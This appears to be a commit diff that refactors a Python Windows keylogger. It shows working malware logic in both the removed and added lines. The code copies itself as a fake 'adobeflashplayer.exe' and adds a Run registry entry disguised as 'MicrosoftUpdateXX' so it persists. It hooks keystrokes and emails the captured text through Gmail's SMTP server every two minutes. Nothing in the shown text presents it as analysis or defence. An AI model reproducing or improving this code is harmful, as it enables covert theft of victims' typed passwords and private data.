1818 print "nope"
1919 sys .exit (0 )
2020
21- x = ''
22- data = ''
23- count = 0
21+ x , data , count = '' , '' , 0
2422
25- dir = "C:\\ Users\\ Public\\ Libraries\ \ adobeflashplayer.exe"
23+ dir = r "C:\Users\Public\Libraries\adobeflashplayer.exe"
2624
2725def startup ():
28- shutil .copy (sys .argv [0 ],dir )
26+ shutil .copy (sys .argv [0 ], dir )
2927 aReg = ConnectRegistry (None ,HKEY_CURRENT_USER )
3028 aKey = OpenKey (aReg , r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run" , 0 , KEY_WRITE )
31- SetValueEx (aKey ,"MicrosoftUpdateXX" ,0 , REG_SZ , dir )
32- if path .isfile (dir ) == False :
29+ SetValueEx (aKey ,"MicrosoftUpdateXX" , 0 , REG_SZ , dir )
30+ if not path .isfile (dir ):
3331 startup ()
3432
35- class TimerClass (threading .Thread ):
33+ class Timer (threading .Thread ):
3634 def __init__ (self ):
3735 threading .Thread .__init__ (self )
3836 self .event = threading .Event ()
3937 def run (self ):
4038 while not self .event .is_set ():
4139 global data
42- if len (data )> 50 :
40+ if len (data ) > 50 :
4341 ts = datetime .datetime .now ()
4442 SERVER = "smtp.gmail.com"
4543 PORT = 587
@@ -57,19 +55,19 @@ def run(self):
5755""" % (FROM , ", " .join (TO ), SUBJECT , MESSAGE )
5856 try :
5957 server = smtplib .SMTP ()
60- server .connect (SERVER ,PORT )
58+ server .connect (SERVER , PORT )
6159 server .starttls ()
62- server .login (USER ,PASS )
60+ server .login (USER , PASS )
6361 server .sendmail (FROM , TO , message )
64- data = ''
62+ data = ''
6563 server .quit ()
66- except Exception as e :
67- print e
64+ except Exception as error :
65+ print error
6866 self .event .wait (120 )
6967
7068def main ():
7169 global x
72- em4 = TimerClass ()
70+ em4 = Timer ()
7371 em4 .start ()
7472 return True
7573
@@ -78,9 +76,9 @@ def main():
7876
7977def pushing (event ):
8078 global x ,data
81- if event .Ascii == 13 :
79+ if event .Ascii == 13 :
8280 kkss = ' [ENTER] '
83- elif event .Ascii == 8 :
81+ elif event .Ascii == 8 :
8482 kkss = ' [BACKSPACE] '
8583 elif (event .Ascii == 162 or event .Ascii == 163 ):
8684 kkss = ' [CTRL] '
0 commit comments